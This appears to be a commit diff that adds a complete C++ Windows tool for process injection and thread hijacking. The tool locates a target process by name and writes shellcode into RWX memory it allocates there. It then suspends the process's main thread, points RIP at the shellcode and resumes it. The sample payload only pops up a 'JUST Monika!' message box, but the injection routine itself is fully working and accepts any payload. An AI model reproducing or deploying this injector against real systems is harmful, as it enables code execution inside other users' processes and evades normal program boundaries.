|
| 1 | +#include <windows.h> |
| 2 | +#include <tlhelp32.h> |
| 3 | +#include <cstdio> |
| 4 | + |
| 5 | +// Corrected Shellcode to inject |
| 6 | +const BYTE shellcode[] = { |
| 7 | + 0xE8, 0x00, 0x00, 0x00, 0x00, // call $+5 (self-relative) |
| 8 | + 0x5A, // pop rdx |
| 9 | + 0x48, 0x83, 0xC2, 0x21, // add rdx, 0x21 (adjust rdx to point to "JUST Monika!") |
| 10 | + 0x48, 0x31, 0xC9, // xor rcx, rcx (HWND = NULL) |
| 11 | + 0x4C, 0x8B, 0xC2, // mov r8, rdx |
| 12 | + 0x49, 0x83, 0xC0, 0x0d, // add r8, 0x0d (adjust R8 to point to "ALERT") |
| 13 | + 0x4D, 0x31, 0xC9, // xor r9, r9 (uType = MB_OK) |
| 14 | + 0x48, 0xB8, 0x60, 0xE0, 0x94, 0x1A, 0xFC, 0x7F, 0x00, 0x00, // mov rax, <MessageBoxA address> |
| 15 | + 0xFF, 0xD0, // call rax (call MessageBoxA) |
| 16 | + 0xC3, // ret |
| 17 | + 0x90, 0x90, // nop nop (padding) |
| 18 | + // MessageBox strings (null-terminated) |
| 19 | + 'J', 'U', 'S', 'T', ' ', 'M', 'o', 'n', 'i', 'k', 'a', '!', 0x00, // "JUST Monika!" |
| 20 | + 'A', 'L', 'E', 'R', 'T', 0x00 // "ALERT" |
| 21 | +}; |
| 22 | + |
| 23 | +// Function prototype for NtQuerySystemInformation |
| 24 | +typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)( |
| 25 | + ULONG SystemInformationClass, |
| 26 | + PVOID SystemInformation, |
| 27 | + ULONG SystemInformationLength, |
| 28 | + PULONG ReturnLength |
| 29 | +); |
| 30 | + |
| 31 | +#define SystemProcessInformation 5 |
| 32 | + |
| 33 | +typedef struct _UNICODE_STRING { |
| 34 | + USHORT Length; |
| 35 | + USHORT MaximumLength; |
| 36 | + PWSTR Buffer; |
| 37 | +} UNICODE_STRING, *PUNICODE_STRING; |
| 38 | + |
| 39 | +// Define CLIENT_ID structure |
| 40 | +typedef struct _CLIENT_ID { |
| 41 | + PVOID UniqueProcess; |
| 42 | + PVOID UniqueThread; |
| 43 | +} CLIENT_ID, *PCLIENT_ID; |
| 44 | + |
| 45 | +// Define SYSTEM_THREAD_INFORMATION structure |
| 46 | +typedef struct _SYSTEM_THREAD_INFORMATION { |
| 47 | + LARGE_INTEGER KernelTime; |
| 48 | + LARGE_INTEGER UserTime; |
| 49 | + LARGE_INTEGER CreateTime; |
| 50 | + ULONG WaitTime; |
| 51 | + PVOID StartAddress; |
| 52 | + CLIENT_ID ClientId; |
| 53 | + ULONG Priority; |
| 54 | + ULONG BasePriority; |
| 55 | + ULONG ContextSwitches; |
| 56 | + ULONG ThreadState; |
| 57 | + ULONG WaitReason; |
| 58 | +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; |
| 59 | + |
| 60 | +// Define SYSTEM_PROCESS_INFORMATION structure |
| 61 | +typedef struct _SYSTEM_PROCESS_INFORMATION { |
| 62 | + ULONG NextEntryOffset; |
| 63 | + ULONG NumberOfThreads; |
| 64 | + LARGE_INTEGER WorkingSetPrivateSize; |
| 65 | + ULONG HardFaultCount; |
| 66 | + ULONG NumberOfThreadsHighWatermark; |
| 67 | + ULONGLONG CycleTime; |
| 68 | + LARGE_INTEGER CreateTime; |
| 69 | + LARGE_INTEGER UserTime; |
| 70 | + LARGE_INTEGER KernelTime; |
| 71 | + UNICODE_STRING ImageName; |
| 72 | + ULONG BasePriority; |
| 73 | + HANDLE UniqueProcessId; |
| 74 | + HANDLE InheritedFromUniqueProcessId; |
| 75 | + ULONG HandleCount; |
| 76 | + ULONG SessionId; |
| 77 | + ULONG UniqueProcessKey; |
| 78 | + SIZE_T PeakVirtualSize; |
| 79 | + SIZE_T VirtualSize; |
| 80 | + ULONG PageFaultCount; |
| 81 | + SIZE_T PeakWorkingSetSize; |
| 82 | + SIZE_T WorkingSetSize; |
| 83 | + SIZE_T QuotaPeakPagedPoolUsage; |
| 84 | + SIZE_T QuotaPagedPoolUsage; |
| 85 | + SIZE_T QuotaPeakNonPagedPoolUsage; |
| 86 | + SIZE_T QuotaNonPagedPoolUsage; |
| 87 | + SIZE_T PagefileUsage; |
| 88 | + SIZE_T PeakPagefileUsage; |
| 89 | + SIZE_T PrivatePageCount; |
| 90 | + LARGE_INTEGER ReadOperationCount; |
| 91 | + LARGE_INTEGER WriteOperationCount; |
| 92 | + LARGE_INTEGER OtherOperationCount; |
| 93 | + LARGE_INTEGER ReadTransferCount; |
| 94 | + LARGE_INTEGER WriteTransferCount; |
| 95 | + LARGE_INTEGER OtherTransferCount; |
| 96 | + SYSTEM_THREAD_INFORMATION Threads[1]; |
| 97 | +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; |
| 98 | + |
| 99 | +// Function to check if a thread is in a safe state for hijacking |
| 100 | +bool IsThreadSafeToHijack(DWORD processId, DWORD threadId) |
| 101 | +{ |
| 102 | + // Load NtQuerySystemInformation |
| 103 | + HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); |
| 104 | + if (!hNtdll) |
| 105 | + { |
| 106 | + printf("Failed to load ntdll.dll\n"); |
| 107 | + exit(1); |
| 108 | + } |
| 109 | + |
| 110 | + static NtQuerySystemInformation_t NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtdll, "NtQuerySystemInformation"); |
| 111 | + if (!NtQuerySystemInformation) |
| 112 | + { |
| 113 | + printf("Failed to get address of NtQuerySystemInformation\n"); |
| 114 | + exit(1); |
| 115 | + } |
| 116 | + |
| 117 | + static ULONG bufferSize = 0; |
| 118 | + static PSYSTEM_PROCESS_INFORMATION processInfoBuf = NULL; |
| 119 | + |
| 120 | + if(bufferSize == 0 || !processInfoBuf) |
| 121 | + { |
| 122 | + NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize); |
| 123 | + processInfoBuf = (PSYSTEM_PROCESS_INFORMATION)malloc(bufferSize); |
| 124 | + if (!processInfoBuf) |
| 125 | + { |
| 126 | + printf("Failed to allocate memory for process information\n"); |
| 127 | + exit(1); |
| 128 | + } |
| 129 | + } |
| 130 | + |
| 131 | + if (NtQuerySystemInformation(SystemProcessInformation, processInfoBuf, bufferSize, &bufferSize) != 0) |
| 132 | + { |
| 133 | + printf("Failed to get process information\n"); |
| 134 | + return false; |
| 135 | + } |
| 136 | + |
| 137 | + // Iterate through all processes |
| 138 | + PSYSTEM_PROCESS_INFORMATION currentProcess = processInfoBuf; |
| 139 | + while (true) |
| 140 | + { |
| 141 | + if ((DWORD)(ULONG_PTR)currentProcess->UniqueProcessId == processId) |
| 142 | + { |
| 143 | + // Found the target process, iterate through its threads |
| 144 | + for (ULONG i = 0; i < currentProcess->NumberOfThreads; i++) |
| 145 | + { |
| 146 | + SYSTEM_THREAD_INFORMATION threadInfo = currentProcess->Threads[i]; |
| 147 | + if ((DWORD)(ULONG_PTR)threadInfo.ClientId.UniqueThread == threadId) |
| 148 | + { |
| 149 | + printf("Thread %lu: State=%lu, WaitReason=%lu\n", threadId, threadInfo.ThreadState, threadInfo.WaitReason); |
| 150 | + // Check if the thread is in a safe state (e.g., running or waiting for user input) |
| 151 | + if (threadInfo.ThreadState == 2 /* Running */ || threadInfo.WaitReason == 5 /* UserRequest */) |
| 152 | + { |
| 153 | + return true; |
| 154 | + } |
| 155 | + else |
| 156 | + { |
| 157 | + return false; |
| 158 | + } |
| 159 | + } |
| 160 | + } |
| 161 | + } |
| 162 | + |
| 163 | + if (currentProcess->NextEntryOffset == 0) |
| 164 | + break; |
| 165 | + currentProcess = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)currentProcess + currentProcess->NextEntryOffset); |
| 166 | + } |
| 167 | + |
| 168 | + return false; |
| 169 | +} |
| 170 | + |
| 171 | + |
| 172 | +// Function to get the PID of the target process by name |
| 173 | +DWORD GetProcessIdByName(const char* processName) |
| 174 | +{ |
| 175 | + PROCESSENTRY32 pe32; |
| 176 | + pe32.dwSize = sizeof(PROCESSENTRY32); |
| 177 | + |
| 178 | + HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); |
| 179 | + if (hProcessSnap == INVALID_HANDLE_VALUE) |
| 180 | + return 0; |
| 181 | + |
| 182 | + DWORD processId = 0; |
| 183 | + if (Process32First(hProcessSnap, &pe32)) |
| 184 | + { |
| 185 | + do |
| 186 | + { |
| 187 | + if (strcmp(pe32.szExeFile, processName) == 0) |
| 188 | + { |
| 189 | + processId = pe32.th32ProcessID; |
| 190 | + break; |
| 191 | + } |
| 192 | + } while (Process32Next(hProcessSnap, &pe32)); |
| 193 | + } |
| 194 | + |
| 195 | + CloseHandle(hProcessSnap); |
| 196 | + return processId; |
| 197 | +} |
| 198 | + |
| 199 | +// Function to find the main thread of the target process |
| 200 | +DWORD GetMainThreadId(DWORD processId) |
| 201 | +{ |
| 202 | + THREADENTRY32 te32; |
| 203 | + te32.dwSize = sizeof(THREADENTRY32); |
| 204 | + |
| 205 | + HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); |
| 206 | + if (hThreadSnap == INVALID_HANDLE_VALUE) |
| 207 | + return 0; |
| 208 | + |
| 209 | + DWORD mainThreadId = 0; |
| 210 | + FILETIME earliestTime = { MAXDWORD, MAXDWORD }; |
| 211 | + |
| 212 | + if (Thread32First(hThreadSnap, &te32)) |
| 213 | + { |
| 214 | + do |
| 215 | + { |
| 216 | + if (te32.th32OwnerProcessID == processId) |
| 217 | + { |
| 218 | + HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, te32.th32ThreadID); |
| 219 | + if (hThread) |
| 220 | + { |
| 221 | + FILETIME creationTime, exitTime, kernelTime, userTime; |
| 222 | + if (GetThreadTimes(hThread, &creationTime, &exitTime, &kernelTime, &userTime)) |
| 223 | + { |
| 224 | + if (CompareFileTime(&creationTime, &earliestTime) < 0) |
| 225 | + { |
| 226 | + earliestTime = creationTime; |
| 227 | + mainThreadId = te32.th32ThreadID; |
| 228 | + } |
| 229 | + } |
| 230 | + CloseHandle(hThread); |
| 231 | + } |
| 232 | + } |
| 233 | + } while (Thread32Next(hThreadSnap, &te32)); |
| 234 | + } |
| 235 | + |
| 236 | + CloseHandle(hThreadSnap); |
| 237 | + return mainThreadId; |
| 238 | +} |
| 239 | + |
| 240 | +// Function to inject shellcode into the target process and return the address of the remote memory |
| 241 | +LPVOID InjectShellcode(DWORD processId) |
| 242 | +{ |
| 243 | + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); |
| 244 | + if (!hProcess) |
| 245 | + { |
| 246 | + printf("Failed to open process with PID %lu\n", processId); |
| 247 | + return NULL; |
| 248 | + } |
| 249 | + |
| 250 | + // Allocate memory in the target process |
| 251 | + LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
| 252 | + if (!remoteMemory) |
| 253 | + { |
| 254 | + printf("Failed to allocate memory in the target process\n"); |
| 255 | + CloseHandle(hProcess); |
| 256 | + return NULL; |
| 257 | + } |
| 258 | + printf("Allocated RWX memory at address: 0x%p\n", remoteMemory); |
| 259 | + |
| 260 | + // Write the shellcode to the allocated memory |
| 261 | + if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL)) |
| 262 | + { |
| 263 | + printf("Failed to write shellcode to the allocated memory\n"); |
| 264 | + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); |
| 265 | + CloseHandle(hProcess); |
| 266 | + return NULL; |
| 267 | + } |
| 268 | + printf("Shellcode written to remote memory successfully\n"); |
| 269 | + |
| 270 | + CloseHandle(hProcess); |
| 271 | + return remoteMemory; |
| 272 | +} |
| 273 | + |
| 274 | +// Function to hijack the main thread and set its RIP to the injected shellcode |
| 275 | +bool HijackMainThread(DWORD processId, DWORD mainThreadId, LPVOID shellcodeAddress) |
| 276 | +{ |
| 277 | + HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, mainThreadId); |
| 278 | + if (!hThread) |
| 279 | + { |
| 280 | + printf("Failed to open main thread with TID %lu\n", mainThreadId); |
| 281 | + return false; |
| 282 | + } |
| 283 | + |
| 284 | + // Suspend the thread and get its context |
| 285 | + SuspendThread(hThread); |
| 286 | + printf("Suspended main thread with TID %lu\n", mainThreadId); |
| 287 | + |
| 288 | + CONTEXT ctx; |
| 289 | + ctx.ContextFlags = CONTEXT_FULL; |
| 290 | + if (GetThreadContext(hThread, &ctx)) |
| 291 | + { |
| 292 | + printf("Original RIP: 0x%p\n", (LPVOID)ctx.Rip); |
| 293 | + |
| 294 | + // Set RIP to the shellcode address |
| 295 | + ctx.Rip = (DWORD64)shellcodeAddress; |
| 296 | + printf("Hijacking RIP to address: 0x%p\n", shellcodeAddress); |
| 297 | + |
| 298 | + // Update the thread context |
| 299 | + if (!SetThreadContext(hThread, &ctx)) |
| 300 | + { |
| 301 | + printf("Failed to set thread context\n"); |
| 302 | + ResumeThread(hThread); |
| 303 | + CloseHandle(hThread); |
| 304 | + return false; |
| 305 | + } |
| 306 | + } |
| 307 | + else |
| 308 | + { |
| 309 | + printf("Failed to get thread context\n"); |
| 310 | + ResumeThread(hThread); |
| 311 | + CloseHandle(hThread); |
| 312 | + return false; |
| 313 | + } |
| 314 | + |
| 315 | + // Resume the thread |
| 316 | + ResumeThread(hThread); |
| 317 | + printf("Resumed main thread with TID %lu\n", mainThreadId); |
| 318 | + CloseHandle(hThread); |
| 319 | + return true; |
| 320 | +} |
| 321 | + |
| 322 | +int main() |
| 323 | +{ |
| 324 | + const char* targetProcessName = "target.exe"; // Replace with your target process name |
| 325 | + DWORD processId = GetProcessIdByName(targetProcessName); |
| 326 | + |
| 327 | + if (!processId) |
| 328 | + { |
| 329 | + printf("Target process \"%s\" not found. Exiting.\n", targetProcessName); |
| 330 | + return 1; |
| 331 | + } |
| 332 | + |
| 333 | + printf("Target process \"%s\" found with PID %lu\n", targetProcessName, processId); |
| 334 | + |
| 335 | + // Inject shellcode and get the remote memory address |
| 336 | + LPVOID remoteMemory = InjectShellcode(processId); |
| 337 | + if (!remoteMemory) |
| 338 | + { |
| 339 | + printf("Failed to inject shellcode.\n"); |
| 340 | + return 1; |
| 341 | + } |
| 342 | + |
| 343 | + // Get the main thread ID |
| 344 | + DWORD mainThreadId = GetMainThreadId(processId); |
| 345 | + if (!mainThreadId) |
| 346 | + { |
| 347 | + printf("Failed to find main thread.\n"); |
| 348 | + return 1; |
| 349 | + } |
| 350 | + |
| 351 | + printf("Main thread found with TID %lu\n", mainThreadId); |
| 352 | + |
| 353 | + // Wait until the main thread is in a safe state to hijack |
| 354 | + printf("Waiting for the main thread to be in a safe state to hijack...\n"); |
| 355 | + while (!IsThreadSafeToHijack(processId, mainThreadId)) |
| 356 | + { |
| 357 | + // Sleep for a short duration before checking again |
| 358 | + Sleep(10); |
| 359 | + } |
| 360 | + |
| 361 | + // Hijack the main thread |
| 362 | + if (HijackMainThread(processId, mainThreadId, remoteMemory)) |
| 363 | + printf("Shellcode injected and main thread hijacked successfully.\n"); |
| 364 | + else |
| 365 | + printf("Failed to hijack main thread.\n"); |
| 366 | + |
| 367 | + return 0; |
| 368 | +} |
0 commit comments